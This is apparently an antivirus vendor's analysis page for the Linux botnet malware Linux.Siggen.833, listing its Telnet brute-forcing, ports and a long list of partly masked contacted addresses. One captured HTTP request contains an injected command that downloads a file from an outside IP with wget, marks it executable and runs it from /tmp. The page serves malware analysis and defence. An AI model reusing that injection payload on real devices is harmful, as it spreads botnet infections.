Linux.Siggen.833

Technical Information

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

b04omh5kjpof32101nnpd2o42mbfedgn

Kills the following processes:

<SAMPLE>

Network activity:

Awaits incoming connections on ports:

127.0.0.1:1822

Establishes connection:

8.#.8.8:53
21#.##7.32.62:3284
18#.##.178.151:52869
11#.##9.122.110:80
11#.##.146.148:80
50.##.229.6:80
12#.#32.0.86:80
21#.##3.153.46:80

Attacks using a special dictionary (brute-force technique) via the Telnet protocol.

HTTP GET requests:

http://###.##.###.########.##############a%27;wget%20http://212.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$

Sends data to the following servers:

19#.##0.51.32:37215
60.###.131.132:8080
21#.##3.206.165:80
19#.###.78.165:37215
15#.##.94.135:37215
19#.##2.0.199:37215
41.##.232.231:37215
19#.###.152.190:37215
19#.##.23.97:37215
15#.###.203.20:37215
15#.##.18.1:37215
24.##.160.132:52869
60.###.131.132:52869
4.###.142.165:52869
38.###.200.32:52869
19#.##.179.2:37215
41.###.249.52:37215
19#.##.165.185:37215
41.###.238.255:37215
21#.##7.32.62:3284
17#.##2.218.135:80
19#.##.109.243:80
41.###.61.181:80
46.##.153.187:80
76.###.0.247:52869
14.#.#0.209:52869
10#.###.25.185:52869
14#.##.215.97:52869
10#.##.0.24:52869
19#.###.202.120:37215
41.##.66.240:37215
19#.##9.15.97:37215
21#.##.151.97:80
21#.##2.70.28:80
18#.##5.147.1:80
18#.##.211.1:52869
39.##.30.88:52869
12.###.148.88:52869
49.###.66.14:52869
15#.##0.26.79:37215
15#.###.108.155:37215
19#.##.140.182:37215
19#.##.224.233:37215
41.##.208.102:37215
11#.##9.122.110:80
21#.###.107.160:8080
15#.##.96.240:80
17#.###.153.43:52869
13#.###.51.173:52869
16#.##.209.67:52869
97.###.85.181:52869
17.###.197.109:52869
21#.#.175.243:80
21#.##.165.30:80
21#.##5.160.210:80
21#.##0.162.9:80
41.##.82.27:37215
15#.###.142.89:37215
15#.##.192.95:37215
41.###.204.201:37215
19#.##.23.199:52869
77.###.4.36:52869
20#.##5.67.83:52869
12#.###.44.136:52869
21#.##.179.51:80
21#.##5.152.150:80
21#.##.206.12:80
21#.##7.192.15:80
41.###.237.201:37215
41.###.148.178:37215
19#.##.59.155:37215
22#.##.180.30:52869
8.###.122.235:52869
96.##.41.12:52869
10#.##.26.5:52869
16#.##.151.115:8080
21#.##3.123.205:80
11#.#8.9.165:80
17#.##9.77.253:80
19#.###.225.157:37215
19#.#.245.72:37215
41.###.162.195:37215
15#.###.222.114:37215
49.###.114.193:52869
14#.#.215.206:52869
11#.##6.77.46:52869
14#.###.47.170:52869
25.###.83.54:52869
21#.##.125.173:80
21#.##4.184.184:80
21#.##.81.225:80
11#.##.120.123:80
15#.##.91.206:37215
15#.##.251.138:37215
41.###.38.124:37215
15#.###.254.208:37215
19#.##.173.140:37215
19#.##.151.33:37215
19#.##9.189.1:37215
20.###.61.160:52869
32.###.214.113:52869
12#.##.106.153:52869
44.###.59.171:80
18.###.174.123:80
57.###.173.76:8080
21#.#4.7.95:80
13.###.249.179:52869
19#.##.113.182:52869
20#.###.241.174:52869
27.###.251.181:52869
21#.##9.243.140:80
21#.##.227.222:80
11#.##.146.148:80
25.##.202.176:80
19#.##.95.37:37215
15#.###.155.251:37215
15#.###.147.251:37215
15#.##.80.240:37215
41.###.75.232:37215
21#.##2.86.71:52869
44.###.68.171:52869
13#.#.3.164:52869
98.##.15.186:80
21#.##2.75.67:80
8.###.113.164:80
41.#.#60.231:37215
19#.###.100.121:37215
41.##.96.179:37215
13#.##.170.196:52869
67.###.56.167:52869
17#.###.84.103:52869
81.###.173.128:52869
21#.##0.104.0:80
14#.###.155.249:8080
15#.##1.76.222:80
10#.##3.190.104:80
41.###.158.93:37215
41.###.231.91:37215
15#.###.245.114:37215
41.##.97.81:37215
19#.##.61.15:37215
19#.##.230.13:52869
12#.##5.85.96:52869
15#.#.239.110:52869
37.###.96.19:52869
18#.##.239.199:80
21#.##4.141.237:80
11#.##4.173.133:80
19#.###.79.133:37215
41.###.142.189:37215
41.##.208.94:37215
15#.##.84.158:37215
21#.#8.80.68:80
21#.##.31.131:80
14#.#9.1.135:80
18#.##.178.151:52869
19.###.8.90:52869
48.###.17.230:52869
12#.##.214.175:52869
41.###.34.78:37215
41.###.1.78:37215
19#.##.101.165:37215
19#.###.60.217:37215
15#.###.180.82:37215
21#.##0.255.127:80
77.###.239.233:8080
21#.##0.101.12:80
49.###.214.105:80
21#.##.211.160:80
11#.##.106.218:52869
18#.##.96.77:52869
15#.##.32.60:37215
41.###.242.196:37215
15#.##.88.46:37215
41.##.189.47:37215
19#.###.159.193:52869
19#.###.197.165:52869
47.###.214.168:52869
21#.##7.114.239:80
12#.##8.147.93:80
21#.##0.170.174:80
21#.##6.80.77:80
41.###.232.211:37215
19#.#.218.92:37215
15#.###.196.153:37215
19#.##.141.77:37215
18#.#.219.135:52869
65.##.251.131:52869
19#.###.105.141:52869
46.###.58.115:52869
21#.##.165.57:80
52.##.7.125:80
41.###.3.187:37215
15#.##.255.55:37215
15#.###.219.146:37215
67.###.15.38:52869
17#.###.147.76:52869
17#.###.106.171:52869
65.###.49.5:52869
16#.##8.110.21:8080
93.###.136.179:80
21#.##3.12.152:80
81.##.51.49:80
15#.###.183.124:37215
15#.##5.20.36:37215
41.###.211.184:37215
15#.###.213.219:37215
10#.###.245.18:52869
1.###.45.30:52869
82.###.204.59:52869
14#.##.33.158:52869
21#.##4.183.111:80
14.##5.77.28:80
21#.#6.56.41:80
13.###.180.134:80
41.##.193.254:37215
41.##.34.98:37215
15#.###.79.216:37215
41.##.249.105:37215
18#.##.2.1:52869
10#.##.125.221:52869
18#.###.32.130:52869
21#.##.184.11:52869
15#.###.212.93:52869
14#.##.238.212:80
17#.#5.83.13:80
21#.##6.72.234:8080
17#.#7.74.8:80
21#.##9.168.113:80
19#.##7.83.92:37215
15#.###.214.70:37215
15#.###.103.182:37215
41.###.154.162:37215
41.##.105.157:37215
10#.##8.188.1:52869
13#.##.53.197:52869
14#.###.37.124:52869
78.##.204.4:52869
11#.#.131.182:52869
78.##.134.186:80
21#.##9.178.67:80
24.###.156.225:80
21#.##5.40.242:80
21#.##9.20.10:80
15#.###.185.50:37215
15#.###.105.207:37215
41.##.154.47:37215
41.###.42.76:37215
19#.###.101.111:37215
94.###.186.53:52869
19#.###.227.179:52869
14#.##.223.5:52869
76.##.52.154:52869
21#.###.225.115:52869
12.##.225.197:80
15#.###.57.111:37215
15#.###.132.46:37215
41.###.144.201:37215
15#.##5.6.160:37215
19#.###.138.202:37215
21#.##6.34.242:80
99.###.10.160:8080
21#.##.245.181:80
21#.##9.189.30:80
15#.##.182.246:52869
13#.##.156.238:52869
98.###.165.100:52869
11#.##.46.89:52869
20.###.29.239:52869
19#.##9.31.49:37215
19#.##.100.169:37215
15#.##.92.100:37215
15#.##.91.193:37215
21#.#.50.174:80
21#.##3.24.92:80
21#.##2.219.134:80
58.##.102.75:80
11#.##.101.197:52869
44.##.25.99:52869
17#.###.163.223:52869
41.##.30.12:37215
15#.###.200.126:37215
19#.###.236.83:37215
41.##.113.17:37215
13#.##3.115.253:80
21#.#.178.33:80
20#.##4.152.195:80
21#.##7.89.189:8080
32.##.46.107:52869
66.###.16.145:52869
18#.##.114.8:52869
20#.###.229.90:52869
19#.##.206.53:37215
41.##.235.182:37215
15#.###.10.178:37215
41.###.187.28:37215
21#.##.212.250:80
21#.##0.70.161:80
21#.##.68.117:80
16#.##8.19.82:80
21#.###.117.48:52869
38.##.159.242:52869
18#.##.154.39:52869
10#.#.140.185:52869
69.###.168.215:52869
41.##.190.7:37215
15#.##4.4.243:37215
15#.##.155.131:37215
19#.##.205.105:37215
41.###.237.33:37215
21#.##.222.109:80
21#.#9.226.4:80
21#.#8.61.37:80
21#.##8.137.48:80
10#.#3.84.42:80
17#.##.70.44:52869
10#.###.205.36:52869
10#.###.213.152:52869
51.###.31.145:52869
19#.###.161.99:37215
41.##.80.7:37215
41.###.159.0:37215
19#.##.152.202:37215
15#.###.82.163:37215
10#.##6.56.246:8080
21#.#58.4.36:80
21#.##8.38.240:80
21#.##1.139.87:80
65.##.164.175:80
12#.##.166.46:52869
78.###.4.252:52869
62.###.82.215:52869
11#.##.122.237:52869
41.###.185.112:37215
19#.##0.4.100:37215
41.##.247.192:37215
19#.##.95.193:37215
18.###.232.224:52869
42.#.#65.116:52869
74.###.218.160:52869
87.###.240.90:52869
20#.###.49.130:52869
20#.#8.176.6:80
21#.##.110.152:80
21#.##9.253.216:80
10#.##2.205.216:80
15#.###.157.188:37215
15#.##.244.73:37215
19#.##9.219.1:37215
15#.###.120.89:37215
41.#.#35.142:37215
21#.##.59.140:80
21#.##3.53.40:8080
21#.##.255.173:80
22#.#5.43.61:80
13#.###.15.233:52869
86.#.#67.46:52869
21#.##.69.6:52869
60.###.44.142:52869
21#.##2.39.227:80
21#.#6.68.59:80
93.##.202.8:80
22#.#.132.123:80
20#.##.196.203:80
1.##.#28.52:52869
16#.##.138.250:52869
11#.##4.97.62:52869
17#.##.21.116:52869
19#.##.116.234:52869
15#.##.8.111:37215
41.###.207.87:37215
15#.###.247.38:37215
19#.##.171.64:37215
21#.##2.252.188:80
15#.##.53.177:80
21#.##1.75.32:8080
38.#.15.3:80
47.###.97.187:52869
65.##.154.30:52869
15#.###.133.106:52869
93.###.123.239:52869
15#.##4.4.213:37215
19#.###.99.193:37215
41.###.208.30:37215
15#.###.154.114:37215
15#.##.132.232:37215
18#.##9.222.74:80
15#.##0.190.82:80
12#.##.45.195:80
14#.##2.51.121:80
99.###.251.140:80
10#.###.130.93:52869
48.##.9.35:52869
17.##.63.71:52869
42.###.177.157:52869
17#.###.242.22:52869
41.###.39.137:37215
19#.###.131.87:37215
41.###.196.30:37215
61.##.149.104:80
89.###.107.72:80
47.###.176.182:80
23.##.73.60:8080
41.##.178.197:37215
41.###.108.196:37215
19#.###.82.171:37215
49.###.80.228:52869
16#.##.120.153:52869
10#.##.68.192:52869
20#.##.220.152:52869
18#.###.150.151:52869
21#.##.56.102:80
84.###.228.143:80
10#.##.244.253:80
15#.###.117.195:37215
41.###.79.172:37215
41.###.42.68:37215
15#.###.87.171:37215
41.###.228.42:37215
20#.###.210.191:52869
16#.###.138.227:52869
74.###.224.41:52869
17#.###.212.97:52869
80.##.112.214:52869
21#.#5.54.54:80
12#.##2.238.61:80
21#.##5.208.163:80
18#.##1.226.224:80
15#.##6.7.164:37215
15#.##.67.145:37215
19#.###.229.166:37215
41.###.149.250:37215
19#.###.228.49:37215
10#.##5.73.29:80
21#.##6.255.200:80
73.##.162.2:52869
39.##.213.68:52869
11#.##8.42.0:52869
12#.#.252.142:52869
44.###.97.39:52869
21#.##.250.32:8080
20#.##6.191.178:80
21#.##0.220.111:80
10#.##4.26.12:80
83.###.95.199:80
15#.###.225.93:37215
15#.##4.4.169:37215
41.###.44.166:37215
41.###.255.27:37215
19#.###.244.109:37215
13#.###.96.114:52869
77.##.169.21:52869
49.###.134.1:52869
10#.##.134.176:52869
54.##.229.178:80
21#.##.32.249:80
21#.#7.14.50:80
21#.##1.153.105:80
41.###.68.54:37215
15#.##.73.124:37215
19#.##.203.103:37215
41.##.22.88:37215
82.###.13.69:52869
14#.###.214.119:52869
13#.###.197.33:52869
12#.###.149.166:52869
21#.##2.140.207:80
21#.###.114.117:8080
21#.##.240.144:80
13#.###.235.58:52869
13#.##.208.189:52869
17.###.102.121:80
21#.##3.126.97:80
10#.##4.183.49:80
21#.##8.160.20:80
4.###.212.134:52869
11#.###.167.224:52869
34.##.130.147:80
31.##.207.0:80
12.###.82.220:80
13#.##.231.124:8080
21#.##.189.35:80
21#.##2.123.104:80
21#.##2.5.176:80
43.##7.58.26:80
21#.#.250.157:80
36.##.28.221:80
21#.##.114.137:80
21#.##3.229.38:80
21#.##1.224.253:80
21#.###.167.140:8080
21#.##.152.145:80
62.###.12.100:80
21#.##0.55.163:80
98.##8.188.5:80
20#.##3.220.176:80
16#.#2.6.143:80
14.###.64.204:80
16#.##2.73.148:80
21#.#98.5.49:80
21#.###.152.238:8080
17#.##1.52.239:80
53.###.115.162:80
21#.##.96.147:80
15#.##9.109.173:80
80.###.19.253:80
21#.##9.90.120:80
22#.##0.74.239:80
21#.##6.107.249:80
70.##.73.95:52869
58.###.228.98:52869
81.###.69.46:52869
47.###.148.24:52869
19#.##2.20.11:52869
15#.###.36.220:52869
11#.###.125.155:52869
21#.###.71.132:52869
12#.##.128.37:52869
19#.##6.144.183:80
89.###.195.43:8080
74.##1.16.56:80
51.###.230.101:80
15#.###.114.202:52869
45.###.181.100:52869
67.##.242.16:52869
19#.##.80.247:52869
19#.##0.102.121:80
21#.##4.144.174:80
21#.##2.45.73:80
14#.##.15.147:80
14#.##.233.189:52869
89.##.249.178:52869
51.###.204.24:52869
12.###.235.191:52869
19#.##.148.128:80
21#.##.148.78:80
19#.##3.218.199:80
21#.##7.11.216:8080
17.###.219.16:52869
95.##.178.239:52869
17#.###.174.68:52869
17#.##.210.128:52869
21#.##7.59.76:80
68.###.110.23:80
12#.##1.165.79:80
12#.#32.0.86:80
17#.###.119.95:52869
16#.###.130.178:52869
12#.###.157.113:52869
17#.##.163.212:52869
21#.##1.173.250:80
21#.##3.20.129:80
21#.#.21.125:80
82.###.232.84:52869
12#.###.217.30:52869
19#.##.31.16:52869
24.###.193.47:52869
10#.##.23.172:52869
21#.##.140.251:80
21#.##5.162.50:80
21#.###.238.239:8080
21#.##8.35.153:80
49.##.216.49:80
68.###.80.116:80
19#.#1.9.238:80
19#.###.179.238:52869
39.###.57.93:52869
45.###.243.249:52869
53.##.93.154:52869
21#.##5.239.102:80
21#.##.227.32:80
50.##.229.6:80
21#.##3.40.75:80
92.###.175.139:80
46.##.225.103:52869
54.###.154.203:52869
43.##.32.118:52869
19#.###.81.104:52869
16#.###.64.239:52869
89.###.204.139:52869
11#.###.12.207:52869
21#.##2.53.175:8080
13#.#0.61.41:80
21#.##7.84.191:80
22#.##0.18.74:80
18.###.104.75:52869
39.##.10.75:52869
19.###.24.100:52869
21#.##.140.164:52869
21#.##.150.59:80
21#.##2.147.57:80
88.##.200.120:80
18#.##6.184.219:80
21#.##.138.189:80
12#.###.110.45:52869
11#.##.136.59:52869
35.###.102.12:52869
53.###.155.119:52869
21#.##.244.249:80
38.##.122.114:8080
21#.##2.82.112:80
98.###.158.225:52869
12.###.18.11:52869
12#.##.24.213:52869
21#.##1.190.56:80
21#.##2.150.201:80
18#.#8.45.14:80
59.##.247.226:80
18#.##.248.102:52869
22#.##.102.195:52869
52.##.49.122:52869
18#.##3.184.49:80
21#.##0.21.211:80
21#.##.135.58:80
19#.##4.31.66:80
14#.##5.7.245:52869
11#.##2.31.67:52869
17#.###.18.227:52869
18.###.31.131:52869
21#.##.1.60:8080
21#.##1.53.173:80
10#.##4.82.76:80
10#.##4.86.238:80
21#.##5.193.138:80
8.##.#.183:52869
70.###.254.239:52869
15#.##9.230.8:52869
19#.###.31.184:52869
21#.##7.17.96:80
21#.##.146.116:80
21#.##.247.73:80
58.###.235.34:80
12#.##4.9.167:52869
87.###.11.134:52869
14#.##3.20.11:52869
22#.##.111.122:52869
21#.##0.194.222:80
15#.##0.240.76:8080
80.##.110.73:80
87.##.235.22:52869
13.###.188.10:52869
18#.##.29.156:52869
83.###.22.42:52869
42.###.157.155:52869
20#.##.168.128:80
21#.##1.81.74:80
21#.##7.255.178:80
5.##.#32.219:52869
97.###.194.216:52869
57.###.194.185:52869
12#.##.227.38:52869
98.###.23.198:80
21#.##1.75.27:80
21#.##.250.130:80
88.###.163.52:52869
24.###.187.70:52869
21#.##8.40.187:80
21#.##.144.178:80
21#.###.199.237:8080
11#.##3.64.253:80
21#.##2.99.123:80
14#.##.201.216:52869
10#.###.221.184:52869
16#.###.40.125:52869
15#.##.196.115:52869
19#.##.76.44:52869
67.###.124.179:52869
92.###.23.68:52869
4.##.#48.127:52869
21#.#2.42.57:80
21#.##7.136.9:80
21#.##6.215.255:80
21#.##2.31.41:80
44.##.34.246:52869
20#.##.22.118:52869
14#.##.64.55:52869
17#.##8.52.38:52869
63.###.174.178:80
21#.##.99.151:80
21#.##1.200.103:80
21#.###.123.236:8080
94.##.29.195:52869
20#.###.88.177:52869
19#.##.226.82:52869
21#.##4.152.190:80
21#.##.172.52:80
17#.##4.120.29:80
18#.##.56.155:80
10#.###.51.136:52869
93.##.132.142:52869
22#.##.222.182:52869
21#.##.92.255:80
21#.##7.125.142:80
88.###.31.112:80
57.##7.40.60:80
76.###.184.90:80
23.###.64.100:52869
15#.##.8.30:52869
21#.##.226.251:52869
23.###.97.183:52869
10#.##.177.3:8080
21#.##.243.179:80
89.###.140.229:80
18#.###.120.148:52869
13#.##.165.209:52869
81.###.175.74:52869
11#.##0.19.42:52869
17#.##.179.208:52869
21#.##5.239.191:80
21#.##.160.91:80
67.##.43.210:80
14#.##.95.228:80
10#.#4.246.1:80
19#.##9.161.181:80
21#.##3.153.46:80
13#.##.218.152:8080
20#.###.249.184:52869
19#.##.191.58:52869
13#.##7.50.19:52869
99.###.241.234:52869
36.###.145.29:52869
12#.##.196.136:52869
21#.##.37.243:52869
21#.##4.48.128:80
88.##.37.18:80
21#.##2.79.242:80
21#.##4.89.219:80
20#.###.127.159:52869
80.##.152.138:52869
14#.#.165.164:52869
19#.##7.160.235:80
21#.##.15.181:80
21#.##1.93.51:80
21#.##.69.224:80
18#.###.158.108:52869
52.###.131.99:52869
15#.###.124.254:52869
21#.##5.98.97:80
21#.###.236.213:8080
21#.##.27.204:80
21#.##.75.234:80
21#.##7.131.99:80
19#.###.210.154:52869
13#.###.116.198:52869
70.###.29.124:52869
61.###.185.192:52869
21#.##.170.141:80
20#.##.113.83:80
15#.##.71.136:80
12#.###.112.191:52869
75.###.136.206:52869
53.##.116.240:52869
15#.###.123.24:52869
21#.##.110.194:52869
21#.##4.198.55:80
35.##.174.133:80
21#.##8.239.234:80
17#.##.31.218:8080
40.###.229.207:52869
13.###.207.191:52869
19#.###.200.13:52869
17#.##5.28.28:52869
21#.##1.26.191:80
21#.##6.229.66:80
18#.###.220.17:52869
16#.##2.42.62:52869
15#.###.107.17:52869
21#.##.219.251:80
41.###.103.98:37215
19#.###.116.106:37215
41.###.219.45:37215
41.###.159.249:37215
87.###.32.110:80
99.##.219.241:80
21#.#1.65.81:80
12#.###.189.186:52869
15#.##.60.15:52869
15#.###.251.175:52869
57.###.242.120:52869
13#.###.170.61:52869
19#.##4.106.9:37215
41.##.195.66:37215
19#.###.84.110:37215
19#.##.222.101:37215
21#.##2.244.102:80
21#.##0.173.187:80
97.##.101.84:80
12.###.32.197:52869
10#.###.91.127:52869
54.###.225.122:52869
14#.##7.3.122:52869
41.##.197.248:37215
19#.###.117.224:37215
15#.###.95.153:37215
16#.##.146.182:52869
19#.###.54.114:52869
19#.##5.40.59:52869
19#.###.94.138:37215
41.###.79.76:37215
41.#.#81.62:37215
15#.###.78.195:52869
17#.##.35.226:52869
80.###.130.44:52869
15#.###.42.241:37215
15#.###.27.192:37215
41.###.79.90:37215
2.##.#32.238:52869
21#.##.47.244:52869
16#.###.91.253:52869
19#.##.83.206:37215
15#.##4.217.6:37215
19#.###.233.104:37215
16#.#.132.214:52869
10#.##4.71.17:52869
19#.##.18.220:52869
19#.###.45.234:37215
41.#.#9.112:37215
41.###.5.62:37215
49.###.65.137:52869
2.#.##3.167:52869
19#.##.116.249:52869
16#.##.93.135:52869
19#.#.199.159:37215
41.###.118.48:37215
41.###.138.67:37215
15#.##.61.241:37215
12#.###.250.177:52869
19#.##.208.2:37215
41.###.154.246:37215
19#.##.206.199:37215
41.###.32.125:37215

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations